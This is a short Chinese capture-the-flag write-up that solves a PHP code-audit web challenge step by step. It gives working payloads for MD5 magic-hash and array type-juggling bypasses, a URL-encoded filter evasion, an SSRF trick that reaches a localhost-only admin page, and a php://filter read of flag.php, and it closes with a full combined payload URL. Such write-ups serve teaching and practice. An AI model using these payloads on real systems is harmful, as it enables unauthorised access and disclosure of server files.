Web2:
(2)php trick
打开链接,发现源码,一看就是个代码审计的题!头疼
先来分析下源码;
第一二步是传入str1,str2且他们原来的值不能相等,但md5值要相等所以payload ?str1=QNKCDZO&str2=s878926199a
第三四步是str3,str4原来值相等,但md5类型要相同且值相等,这里数组绕过 payload str3[]=1&str4[]=0
第五六七八步strpos($_SERVER[‘QUERY_STRING’] 这里的函数,我们可以把它理解为?后面的所以参数 且不能包含H_game还要为false这里将H_game用url编码且用数组绕过 payload %48%5F%67%61%6D%65[]=
第九十步,这里就是重点了,这里用到ssrf漏洞绕过,它要使构造的url输出的域名为www.baidu.com输出域名为http,一开始试了试payloadhttp://@118.24.3.214:3001@www.baidu.com发现不对,后在一个大佬的指点下,想到admin.php中的只有本地登陆才可以,(这里脑洞有点大)于是构造
url=http://@127.0.0.1:80@www.baidu.com///admin.php
ssrf具体参考一
ssrf具体参考二
后出现了flag的代码,
分析代码发现如果存在filename就输出"sorry,you can’t see it“这里就想到用php://filter协议流
具体看这里
于是payload filename=php://filter/read=convert.base64-encode/resource=flag.php
最终payload http://118.24.3.214:3001/str1=QNKCDZO&str2=s878926199a&str3[]=1&str4[]=0&%48%5F%67%61%6D%65[]=1e999%00&url=http://@127.0.0.1:80@www.baidu.com///admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php
后出现了一串base64编码解码可得flag!!!